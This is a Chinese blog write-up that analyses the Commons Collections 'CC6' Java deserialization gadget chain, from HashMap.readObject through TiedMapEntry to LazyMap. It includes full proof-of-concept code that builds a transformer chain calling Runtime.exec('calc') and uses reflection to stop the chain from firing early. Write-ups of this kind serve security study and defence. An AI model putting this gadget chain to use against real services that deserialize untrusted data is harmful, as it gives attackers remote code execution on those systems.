首页 > 其他分享 >CC6利用链分析

CC6利用链分析

时间:2024-07-03 17:30:07浏览次数:16  
标签:map Object 链分析 CC6 利用 key new 序列化 class

CC1的两条利用链,在JDK 8u71之后已修复,不可利用。

学一下不受版本限制的CC6利用链

分析版本

Commons Collections 3.2.1

JDK 8u65

环境配置参考JAVA安全初探(三):CC1链全分析

分析过程

我的Github主页Java反序列化学习同步更新,有简单的利用链图

CC6是在CC1 LazyMap利用链的基础上。

与其不同的是在寻找CC1 LazyMap.get的利用时,找到的是TideMapEntry的getValue方法。

TideMapEntry又是个public类,并且可序列化,可以控制map和key的传值。

    public Object getValue() {
        return map.get(key);
    }

而getValue又被hashCode调用

    public int hashCode() {
        Object value = getValue();
        return (getKey() == null ? 0 : getKey().hashCode()) ^
               (value == null ? 0 : value.hashCode()); 
    }

之后找hashCode的调用,作者找到的是HashMap的hash方法

static final int hash(Object key) {
    int h;
    return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

我们又知道HashMap是可序列化的,还重写了readObject,看下readObject方法

private void readObject(java.io.ObjectInputStream s)
    throws IOException, ClassNotFoundException {
    // Read in the threshold (ignored), loadfactor, and any hidden stuff
    s.defaultReadObject();
    reinitialize();
    if (loadFactor <= 0 || Float.isNaN(loadFactor))
        throw new InvalidObjectException("Illegal load factor: " +
                                         loadFactor);
    s.readInt();                // Read and ignore number of buckets
    int mappings = s.readInt(); // Read number of mappings (size)
    if (mappings < 0)
        throw new InvalidObjectException("Illegal mappings count: " +
                                         mappings);
    else if (mappings > 0) { // (if zero, use defaults)
        // Size the table using given load factor only if within
        // range of 0.25...4.0
        float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
        float fc = (float)mappings / lf + 1.0f;
        int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
                   DEFAULT_INITIAL_CAPACITY :
                   (fc >= MAXIMUM_CAPACITY) ?
                   MAXIMUM_CAPACITY :
                   tableSizeFor((int)fc));
        float ft = (float)cap * lf;
        threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
                     (int)ft : Integer.MAX_VALUE);
        @SuppressWarnings({"rawtypes","unchecked"})
            Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
        table = tab;

        // Read the keys and values, and put the mappings in the HashMap
        for (int i = 0; i < mappings; i++) {
            @SuppressWarnings("unchecked")
                K key = (K) s.readObject();
            @SuppressWarnings("unchecked")
                V value = (V) s.readObject();
            putVal(hash(key), key, value, false, false);
        }
    }
}

可以看到putVal(hash(key), key, value, false, false);正好调用了hash函数,只要保证反序列化时mapping的值大于0,就能走到这一步。

到此利用链完成。

Poc

public class cc6 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
                new ConstantTransformer("1")
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map lazyMap = LazyMap.decorate(new HashMap(), chainedTransformer);
        
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, 1);

        HashMap<Object, Object> hashMap = new HashMap<>();
        hashMap.put(tiedMapEntry, 1);
        cc1_poc.serialize(hashMap);
        cc1_poc.unserialize("s.ser");
    }
}

此时可以弹计算器,但是计算器是在hashMap.put(tiedMapEntry, 1);这步(序列化之前)时,就把利用链调完了,所以参考URLDNS利用链

的解决办法。

因为是在put处触发的,所以我们在写完利用链之后,调用put之前,通过反射把利用链断掉。

在put方法调用之后,序列化之前,再把修改的位置复原。

更新Poc

public class cc6 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
                new ConstantTransformer("1")
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map lazyMap = LazyMap.decorate(new HashMap(), chainedTransformer);
        //断掉利用链 TideMapEntry, LazyMap, ChainedTransformer都可以
        //举个例子修改tideMapEntry的 key
        TiedMapEntry tiedMapEntry = new TiedMapEntry(new HashMap(), 1);

        HashMap<Object, Object> hashMap = new HashMap<>();

        hashMap.put(tiedMapEntry, 1);

        //复原
        //因为key为private,而且也没有public方法能直接修改key
        //利用反射
        Class c = TiedMapEntry.class;
        Field key = c.getDeclaredField("key");
        key.setAccessible(true);
        key.set(tiedMapEntry, lazyMap);

        cc1_poc.serialize(hashMap);
        cc1_poc.unserialize("s.ser");
    }
}

补充

如果在断掉利用链时选择修改LazyMap,会发现反序列化也不会触发计算器,是因为put过程中

走到LazyMap.get这,if表达式为真,会执行到map.put(key, value);

而map在序列化时会被序列化,在反序列化时map里面有了key,if表达式为假,不会执行chainedTransformer.transform,利用链断了。

解决这个问题,在put后序列化之前把lazyMap map中对应的key删掉就好了,详情参考cc6

    private void writeObject(ObjectOutputStream out) throws IOException {
        out.defaultWriteObject();
        out.writeObject(map);
    }
    private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
        in.defaultReadObject();
        map = (Map) in.readObject();
    }

    //-----------------------------------------------------------------------
    public Object get(Object key) {
        // create value for key if key is not currently in the map
        if (map.containsKey(key) == false) {
            Object value = factory.transform(key);
            map.put(key, value);
            return value;
        }
        return map.get(key);
    }

标签:map,Object,链分析,CC6,利用,key,new,序列化,class
From: https://blog.csdn.net/weixin_45436292/article/details/140158008

相关文章

  • CC1-LazyMap利用链分析
    分析下ysoserial中CC1的利用链分析版本CommonsCollections3.1JDK8u65环境配置参考JAVA安全初探(三):CC1链全分析分析过程与TransformerMap的CC1不同的是,在寻找InvokeTransformer.transform的方法调用时,我们选择LazyMap的get方法。publicObjectget(Objectke......
  • 利用中转API部署本地大语言模型
    前言在本文中,我们将展示如何使用中转API地址(http://api.wlai.vip)来部署本地的大语言模型(LLM)。我们将使用Llama2聊天模型作为示例,但该方法适用于所有受支持的LLM模型。本文将包括以下几个步骤:安装所需库、启动本地模型、创建索引和查询引擎,并附上示例代码和可能遇到......
  • LLM大模型: RAG的最优chunk方法 — 利用本地离线LLM的embedding实现Semantic Chunking
     1、RAG整个流程的核心节点如下:第一个重要的节点就是chunk。chunk最核心的目的就是把相同语义的token聚集在一起,不同语义的token互相分开,利于后续的retrieve和rerank。举个例子:今天天气很好,我和小明在一起打篮球。隔壁老王在家里看电视。小明的妈妈在家里做晚饭,晚上我......
  • CB链分析与利用超详细
    环境配置commons-beanutils1.8.3commons-logging:commons-logging:1.2jdk8u71pom.xml添加<dependency><groupId>commons-beanutils</groupId><artifactId>commons-beanutils</artifactId><version>1.8.3</vers......
  • CC7分析与利用超详细
    CC7分析与利用cc7分析cc7也是接着LazyMap.get()方法向上找。这里先给出LazyMap.get()执行命令的构造:packageorg.example;importorg.apache.commons.collections.Transformer;importorg.apache.commons.collections.functors.ChainedTransformer;importorg.apache......
  • C#利用反射创建对象并进行赋值
    TypeclassType=typeof(ClassName);//获取类的typestringpath=fullName+","+assemblyName;//命名空间.类型名,程序集TypeclassType=Type.GetType(path);//加载类型TypeclassType=Type.GetType("类的完全限定名");//也可以根据类的完全限定名得到typ......
  • 利用单叶函数计算希格斯粒子的方法
    利用单叶函数计算希格斯粒子的方法下面介绍将春秋晚期金剑柄的线段数据代入单叶函数公式中,计算希格斯粒子的图形,按这个图像喷射希格斯粒子达到超光速的目的。相关资料下载网址:链接:https://pan.baidu.com/s/1Ql1nATEeHgj_cBctXCYB_g?pwd=nzjj提取码:nzjj链接:https://pan.baidu.......
  • nacos漏洞利用
    nacos概述Nacos致力于帮助您发现、配置和管理微服务。Nacos提供了一组简单易用的特性集,帮助您快速实现动态服务发现、服务配置、服务元数据及流量管理。简单来说nacos就是阿里开发的一个中间件,它主要提供三种功能:持久化节点注册,非持久化节点注册和配置管理。他里面包含大量的......
  • ruoyi漏洞利用
    1、ruoyi默认口令admin/admin123ruoyi/1234562、前端shiro反序列化版本过低,基本不能利用,使用反序列化工具不再过多介绍。3、任意文件读取Ruoyi<4.5.1GET/common/download/resource?resource=/profile/../../../../../../../{filename}4、SQL注入4-1、/system/role/l......
  • 利用爬虫批量下载小说内容
    #此文章仅供学习参考#http://book.zongheng.com/#https://www.zongheng.com/books?worksTypes=6104大类链接#https://read.zongheng.com/chapter/1215587/68240827.html第一章链接<liclass="vipcol-4"><ahref="https://book.zongheng.com/......